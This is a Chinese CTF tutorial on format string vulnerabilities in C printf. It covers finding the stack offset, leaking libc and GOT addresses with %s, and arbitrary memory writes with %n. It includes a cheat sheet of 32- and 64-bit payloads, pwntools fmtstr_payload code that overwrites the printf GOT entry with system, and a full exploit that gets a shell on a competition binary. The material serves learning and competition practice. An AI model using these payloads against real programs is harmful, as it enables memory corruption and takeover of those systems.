格式化字符串漏洞详解

  • 概念
  • 如何利用
    • 基本利用方式讲解
    • 常用payload总结
  • pwntools -- FmtStr类
    • 求偏移
    • 地址泄露
    • 任意地址写
  • 一个例子
  • 总结

概念

  格式化字符串漏洞的成因在于像printf/sprintf/snprintf等格式化打印函数都是接受可变参数的,而一旦程序编写不规范,比如正确的写法是:printf("%s", pad),偷懒写成了:printf(pad),此时就存在格式化字符串漏洞。

如何利用

基本利用方式讲解

  在pwn题中遇到格式化字符串漏洞时,我们一般会分两大步实现漏洞利用:第一步构造一个payload来寻找输入字符串到栈顶指针的偏移;第二步就是攻击了,利用找到的偏移,在偏移处填入目的地址可以实现目的地址的内容泄露以及内容改写。
  下面先看构造payload找偏移的过程,以32位为例,下面是用于演示的代码,传入的payload为aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p

#include <stdio.h>// gcc fmt.c -o fmt -m32
int main()
{char pad[100];scanf("%s", pad);printf(pad);return 0;
}

  如下面gdb调试截图所示,格式化参数%p会从栈顶指针+0x4的位置开始打印出栈上的数据,在第六个位置处打印出了0x61616161,这里就是我们本身构造的payload位置所在,所以找到的偏移为6。偏移怎么用,后面再解释,我们先看一下,为啥printf会是这样的输出,其实不难理解,因为printf为可变参数,32位linux系统下是用栈传递参数,栈顶指针esp是第一个参数,此时printf就会打印该字符串,如果进一步遇到格式化符号,比如这里的%p,那么就会以十六进制的方式打印第二个参数,但我们并没有传递第二个参数,所以系统还是将esp+0x4的位置当作第二个参数打印了,以此类推。



  在上面寻找偏移的过程中,其实已经泄露不少信息,比如偏移为2处的地址是libc上的,可以利用该地址计算出libc加载的基地址;偏移为3处的main+23地址,有了它可以计算出程序加载的基地址;还有偏移为4和5上的地址是指向栈中的,可以凭借此来找到ret地址所在的栈位置。利用上面这些信息的唯一要求就是每次程序运行时栈上这些位置的内容是固定的。
  好了,接下来说一下找到的偏移如何用,构造payload:p32(system_got)+b"%6$s",此时system的got表地址会存在栈上,也就是printf的第六个参数位置;而%6$s表示打印出第六个参数作为地址指向的内容,所以此时该payload就会打印出system的真实地址。再构造payload:p32(system_got)+b"%6$n"%6$n表示往第六个参数指向的内存中写4个字节宽的内容,而写的数值是print已经打印的内容长度,printf此时打印的长度是p32(system_got)的长度,也就是4,所以此时该payload就会改写system真实地址为4。
  上面的讲解是以32位题目为例,在遇到64位时会有些不同,这里先总结一下。首先64位前6个参数是以寄存器传参,且字长为8,所以此时寻找偏移的payload应该这样构造:aaaaaaaa-%p-%p-%p-%p-%p-%p。另外由于寄存器传参的原因,从第6个格式化符号开始才会打印栈上的内容。最后一个重点是,由于字长为8,64的地址存在零,所以想要利用偏移来泄露地址内容或者改写其内容的话,目的地址不能放在格式化符号之前,否则printf在遇到零字节时会被截断,此时应将目的地址放在格式化符号后面。

常用payload总结

  在上面基本利用方式中,其实已经将格式化字符串漏洞的套路讲解清楚,剩下的就是在题目中练习,最后灵活运用,这里根据做题经验总结一下常用的payload及其构造方式。

#!/usr/bin/python3# 格式化符号说明
%x 以十六进制打印,只能打印4字节,一般只用于32位
%p 打印目标地址,建议32位和64位都用这个
%s 打印地址内容
%c 打印单个字符
%hhn 写一字节
%hn  写两字节
%n   写四字节
%ln  32位写四字节,64位写八字节
%lln 写八字节#################### 32位
# 求偏移
pad = "aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p..."# 泄露目标地址内容,假设偏移为offset
## 目标地址放前面
pad = p32(target_addr)+"%{}$s".format(offset).encode("ISO-8859-1")
## 目标地址放后面
pad = "%{}$s".format(offset+1).encode("ISO-8859-1")+p32(target_addr)# 改写目标地址内容为value
## 目标地址放前面
pad = p32(target_addr)+"%{}c%{}$n".format(value-4, offset).encode("ISO-8859-1")
## 目标地址放后面,注意ljust补位的字符和offset+idx的位置要对应
pad = "%{}c%{}$n".format(value, offset+3).ljust(4*3, "a").encode("ISO-8859-1")
pad += p32(target_addr)
#################### #################### 64位
# 求偏移
pad = "aaaaaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p..."# 泄露目标地址内容,目标地址只能放后面,假设偏移为offset
pad = "%{}$s".format(offset+1).ljust(8, "a").encode("ISO-8859-1")+p64(target_addr)# 改写目标地址内容为value
## 目标地址只能放后面,注意ljust补位的字符和offset+idx的位置要对应
pad = "%{}c%{}$lln".format(value, offset+3).ljust(8*3, "a").encode("ISO-8859-1")
pad += p64(target_addr)
####################

pwntools – FmtStr类

  从上面的payload中我们可以发现构造方式不免有些复杂,所以下面我将介绍如何利用pwntools中的FmtStr类来更快的实现对偏移的求解以及构造上面的payload。同时我也再次详细讲解了一般构造方法的过程,以此来做对比,方便读者的理解。

求偏移

  在格式化字符串漏洞利用中,我们一般都是这样手动构造payload进行偏移求解的,如下图所示,开头输入方便定位的字符串aaaa,然后使用%x或者%p(推荐使用%p,32位和64位通用),最后找到0x61616161计算其到栈顶指针的偏移。


  在Fmtstr中,我们可以这样做,如下代码所示,这里对DynELF类熟悉的同学可以类比一下,关键注意exec_fmt函数中需要p = process("./pwn"),因为这里同样采用的是循环暴力求解,即每次增加一个%p,然后用正则化表达式去匹配定位字符串是否出现,以此来求得偏移值。另外由于该类使用的是正则匹配的方式,所以在求解偏移时,即使漏洞前后有一些输出打印干扰都不会影响偏移的求解,我们会在下面的例子中看到。

# 64位格式化漏洞要设置一下上下文环境,否则报错
# context.arch = "amd64"def exec_fmt(pad):p = process("./pwn")# send 还是 sendline以程序为准p.send(pad)return p.recv()fmt = FmtStr(exec_fmt)
print("offset ===> ", fmt.offset)

  当然如果pwn题中的格式化字符串漏洞采用了循环的方式,如下代码所示,那么就不需要在函数使用process,因为题目自身实现了循环。

while(1)
{read(0, buf, 0x100);printf(buf);
}

地址泄露

  地址泄露部分,FmtStr类好像并没有提供合适的方法,下面介绍两种常见的泄露情况。
  第一种,其实在上面求偏移的过程中,就可以实现地址泄露了,下面举个例子,一般泄露传入程序的第一个参数也就是该程序名本身的地址,这是一个位于栈上的地址,通过计算和存储当前函数返回地址栈指针的偏移,成功找到指向返回地址的栈指针,最后再利用后面的任意地址写修改此处的值,实现程序流程控制。比如我们找到下图中的./xman_2019_format,注意这里找到的是0xffa5152b,也就是泄露出来的是单重引用指针的值0xffa5152b,而不是最上面双重引用指针0xffa50c34。


  第二种,泄露地址时我们一般也会选择将函数got表项填入,泄露libc地址,这里就需要利用上面求解出来的偏移。此时我们一般会这样构造,假设求解出来的偏移为7:p32(free)+b"%7$s",我们将free的got表项作为字符串开头的第一个参数,然后再使用%s打印出偏移为7的值也就是此时的got表项。这里会比较难以理解,建议动手调试就能很快知晓。另外值得注意的是,在64的格式化漏洞中,由于使用函数开头都为0,所以需要将参数置于格式化字符串后面,像下面这样:b"%8$saaaa"+p64(free),此时我们使用aaaa来进行8字节的填充,free的got表也不再占据第7的偏移位置,而是8。

任意地址写

  在不使用FmtStr类时,我们一般是这样来实现任意地址写的,%{number}c表示写入的数,%{index}$n表示以偏移index位置的值为地址写入,其中n写入四字节,hn写入两字节,hhn写入单字节,举例如下:

  • %12c%7$hhn这里我们没有另外传入地址,表示将偏移为7的值作为地址,在该地址处写入单字节的内容0xc;
  • p32(0x80480045)+b"%12c%7$hhn"假设偏移为7的地方是字符串的第一个参数,此时的表达式为将0x80480045处的单字节改写为0xc;同样值得注意的是如果是64位程序,应将地址放在格式化表达式的后面,对应的偏移也需要修改。

  这里我们可以看到自己构造表达式进行利用十分麻烦,下面介绍FmtStr类的使用,如下代码所示,详细的介绍内容都写在注释里面了。

# 64位格式化漏洞要设置一下上下文环境
# context.arch = "amd64"# fmtstr_payload(offset, writes, numbwritten=0, write_size="byte")
# 总共四个参数:
# offset --> 偏移量
# writes --> {被覆盖的地址:要写入的地址} 地址都为int型,也就是不需要使用p32或者p64打包
# numbwritten --> 已经由printf函数写入的字节数,默认为0
# write_size --> 逐byte/short/int写入,默认是byte,这样发送的字节少pro = ELF("./pwn")
printf_got = pro.got["printf"]
system_plt = pro.plt["system"]
pad = fmtstr_payload(offset, {printf_got:system_plt})
p.send(pad)

一个例子

  这里我以2019年的第五空间决赛的pwn5为例子,32位小端程序,checksec之后发现开启了NX和栈保护,如下图所示。


  然后我们直接看代码,可以发现21行处有明显的格式化字符串漏洞,整个程序逻辑比较清晰,将我们输入的passwd与位于0x804c044处的四字节值进行比较,相等则获取到shell。该地址位于bss段,存储由/dev/urandom生成的随机值。

  这里进行漏洞利用的思路也很明确,因为/dev/urandom产生的是随机值,我们肯定是无法直接估计的,所以要利用格式化字符串漏洞对0x804c044的值改写成和我们输入的passwd一样的值,即可获取到shell。完整的exp如下所示:

from pwn import *def exec_fmt(pad):p = process("./pwn_5")p.send(pad)# 在printf(buf)前后都有printf输出,这里是否recv都不会影响偏移求解# p.recvuntil("Hello,")info = p.recv()return infofmt = FmtStr(exec_fmt)
offset = fmt.offset
print("offset ===> ", offset)p = process("./pwn_5")
bss_ad = 0x0804C044
pad = fmtstr_payload(offset, {bss_ad:1})
p.send(pad)
p.recvuntil("your passwd:")
p.send("1")p.interactive()

总结

  格式化字符串漏洞本身并没有想象中困难,只不过在利用的时候手动构造payload会比较繁琐,特别时遇到地址修改时,如果要自己采用"%{index}$n"的方式将会特别繁琐,容易出错,所以使用pwntools中的FmtStr格式化字符串类将会大大加速我们漏洞的利用过程。

不忘初心,砥砺前行!

CTF pwn题之格式化字符串漏洞详解相关推荐

  1. [转载] python格式化字符串漏洞_从两道CTF实例看python格式化字符串漏洞

    参考链接: Python str.format()中的漏洞 >>> name = 'Hu3sky' >>> s = Template('My name is $na ...

  2. Linux pwn入门教程——格式化字符串漏洞

    本文作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42943-1-1.html 0×00 printf函数中的漏洞printf函 ...

  3. 格式化字符串漏洞利用

    学习资料: https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_exploit/                        ht ...

  4. CTF(pwn)-格式化字符串漏洞讲解(二) --攻防世界CGfsb

    格式化字符串漏洞介绍: https://blog.csdn.net/weixin_45556441/article/details/114080930 一.分析 pwnme的地址为 0x804A068 ...

  5. XCTF-攻防世界CTF平台-PWN类——1、Mary_Morton(格式化字符串漏洞、缓冲区溢出漏洞)

    目录标题 1.查看程序基本信息 2.反编译程序 3.攻击思路 (1)先利用功能2格式化字符串漏洞 (2)找到功能1的sub_400960()函数返回地址的位置 方法二 1.查看程序基本信息 Mary_ ...

  6. CTF(pwn)-格式化字符串漏洞讲解(一)

    例题讲解 https://blog.csdn.net/weixin_45556441/article/details/114081864 一.基本介绍 格式化字符串漏洞在通用漏洞类型库CWE中的编号是 ...

  7. c++字符串输入_【pwn】什么是格式化字符串漏洞?

    0x00 前言 格式化字符串漏洞是在CWE[1](Common Weakness Enumeration,通用缺陷枚举)例表中的编号为CWE-134,由于在审计过程中很容易发现该漏洞,所以此类漏洞很少 ...

  8. 某道Pwn(格式化字符串漏洞)

    格式化字符串漏洞近几年出现频率少了,但是一些 CTF 中还有涉及,就当玩玩好了. 首先看这一段代码,什么比赛的题我忘了: #include <stdio.h> int main(void) ...

  9. buuctf pwn wp(第四波)格式化字符串漏洞系列

    这里是一个总的分类,一个类型的第一道题目会详细介绍,后面的类型相同的会简略介绍(不过这是第一波,都是最简单的,原理可以看我前面的文章,后面难一点的题目我再讲原理.) 这一波题都是无脑AAAA的类型,它 ...

最新文章

  1. 从零开始实现穿衣图像分割完整教程(附python代码演练)
  2. 设计模式(0)简单工厂模式
  3. 在Bash脚本中,如果发生某种情况,如何退出整个脚本?
  4. 实战SSM_O2O商铺_37【商品】商品列表之View层的实现
  5. 服务器安装mysql_阿里云服务器上安装MySQL
  6. SCCM2012 R2集成WSUS服务器-4:部署软件更新组
  7. php协程 多线程,【swoole.2.01】多进程,多线程和协程
  8. java 递归求二进制,java-二进制搜索递归猜测数字
  9. P3970 [TJOI2014]上升子序列
  10. react项目案例_教程28——使用 react-rewired 配置基本的环境(项目)
  11. Unity3D 导入资源
  12. 单片机原理及应用程序c语言版题库,单片机原理及应用期末复习题库(含答案)...
  13. Win32学习笔记(21)内存映射文件
  14. android 系统app切换,安卓应用转换器(安装应用转为系统应用)app
  15. 修改hexo的主题nexT中的Pisces主题宽度
  16. 高性能服务器开发基础系列 (七)——开源一款即时通讯软件的源码
  17. Soul聊天记录备份和恢复(旧机迁移至新机)
  18. MATLAB画哆啦A梦
  19. 提醒电脑族:眼睛酸涩会致病
  20. 解决Windows10/11系统桌面背景或者IDE背景出现的莫名其妙的方框/格子

热门文章

  1. 发邮件报Failed to send email: Could not connect to SMTP host: smtp.exmail.qq.com, port: 465, response:-1
  2. 开发的APP应用《我懂了-做个健康好宝宝》,推荐下
  3. three.js 简单画线
  4. 网络安全常用标准分类汇总
  5. git: fatal: detected dubious ownership
  6. 基于文档对象模型的软件设计
  7. 企鹅电竞Web P2P实践
  8. Java数组|数组的声明创建和使用
  9. 三层转发、arp协议
  10. 【CAD卡顿解决方法详解,网上最实用五种方法,开机卡顿,拖图卡顿,画直线卡顿等问题,一一详细教你解决】